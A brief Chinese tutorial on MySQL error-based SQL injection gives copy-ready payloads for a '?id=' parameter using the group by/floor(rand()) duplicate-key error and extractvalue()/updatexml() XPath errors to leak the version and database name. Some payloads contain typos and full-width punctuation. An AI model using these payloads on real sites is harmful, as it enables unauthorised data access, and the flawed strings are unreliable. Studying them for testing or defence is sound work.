sql注入之报错注入

报错注入

在注入点判断过程中，发现数据库中SQL语句的报错信息会显示在页面中，因此可以进行报错注入。

原理：在错误信息中执行SQL语句，触发报错方式有很多，原理也不尽相同，建议直接背公式。

1. group by重复键冲突

[?id=33 and(select 1 from(select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a)-- +]

Ps: group by是MYSQL的一个语句，它实际上的意思是分类聚合

这时会发现报错注入成功的拿到了想要的信息，接下来把version()替换成database()出现

由此可见报错存在一定几率和概率注入失败

group by 其实是mysql的一个bug，编号为#8652，当使用rand（）分组聚合的时候，会产生重复键的错误。

参考连接：MySQL Bugs

2.XPATH报错

@   extractalue（）

[?id=33 and extractvalue(1,concat(‘^’,(select version())，‘^’))-- +]

@   updatexml()

[?id=33 and updatexml(1,concat(‘^’,(select database()),’^’),1)-- +]

Ps:这个是基于函数报错来进行注入，如果版本没有该函数，就用group by 来进行注入，mysql数据库中5.0以下版本是不具有这个函数的